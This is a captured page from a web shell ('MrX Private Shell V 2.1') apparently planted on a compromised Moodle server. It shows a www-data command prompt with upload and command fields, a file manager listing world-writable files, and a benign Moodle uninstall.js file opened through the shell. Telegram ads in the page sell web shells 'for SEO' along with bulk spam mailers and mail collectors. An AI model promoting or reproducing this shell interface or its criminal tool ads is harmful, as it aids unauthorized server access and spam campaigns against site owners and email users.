__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
// This file is part of Moodle - http://moodle.org/
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle.  If not, see <http://www.gnu.org/licenses/>.

import {getStrings} from 'core/str';
import {saveCancelPromise, alert as displayAlert} from "core/notification";
import MoodleConfig from 'core/config';

export const init = (form) => {
    form?.addEventListener('submit', async(e) => {
        e.preventDefault();
        const selectedOptions = form.querySelector('#menuuninstalllang')?.selectedOptions;
        if (!selectedOptions?.length) {
            const alertStrings = await getStrings(
                ['noenglishuninstalltitle', 'selectlangs'].map((key) => ({key, component: 'tool_langimport'})
            ));
            displayAlert(...alertStrings);
            return;
        }

        if ([...selectedOptions].map((node) => node.value).indexOf('en') !== -1) {
            const alertStrings = await getStrings(
                ['noenglishuninstalltitle', 'noenglishuninstall'].map((key) => ({key, component: 'tool_langimport'})
                ));
            displayAlert(...alertStrings);
            return;
        }

        const confirmationStrings = await getStrings([
            {
                key: 'uninstall',
                component: 'tool_langimport',
            },
            {
                key: 'uninstallconfirm',
                component: 'tool_langimport',
                param: [...selectedOptions].map((node) => node.textContent).join(', '),
            },
            {
                key: 'yes',
                component: 'core',
            },
        ]);

        saveCancelPromise(...confirmationStrings).then(() => {
            const url = new URL(form.action);
            url.searchParams.append('sesskey', MoodleConfig.sesskey);
            url.searchParams.append('confirmtouninstall', [...selectedOptions].map((node) => node.value).join('/'));
            form.action = url.toString();
            form.submit();
            return true;
        })
        .catch(() => {
            return false;
        });
    });
};

Filemanager

Name Type Size Permission Actions
search.js File 3.43 KB 0777
uninstall.js File 2.56 KB 0777
Filemanager